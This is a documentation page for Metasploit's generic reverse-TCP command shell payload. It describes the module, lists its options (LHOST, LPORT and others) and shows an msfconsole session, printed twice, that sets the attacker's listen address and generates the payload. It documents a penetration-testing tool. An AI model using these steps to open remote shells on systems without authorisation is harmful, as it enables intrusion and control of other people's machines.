Generic Command Shell, Reverse TCP Inline
Connect back to attacker and spawn a command shell
Rank
- Normal
Authors
- skape < mmiller [at] hick.org >
Similar Modules
- payload/generic/custom
- payload/generic/debug_trap
- payload/generic/shell_bind_tcp
- payload/generic/tight_loop
Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/generic/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(shell_reverse_tcp) > generate
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use payload/generic/shell_reverse_tcp
msf payload(shell_reverse_tcp) > set LHOST [MY IP ADDRESS]
msf payload(shell_reverse_tcp) > generate
Module Options
| LHOST | The listen address |
| LPORT | The listen port (default: 4444) |
| ARCH | The architecture that is being targeted |
| PLATFORM | The platform that is being targeted |
| ReverseConnectRetries | The number of connection attempts to try before exiting the process |
| ReverseListenerBindAddress | The specific IP address to bind to on the local system |
| ReverseListenerComm | The specific communication channel to use for this listener |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
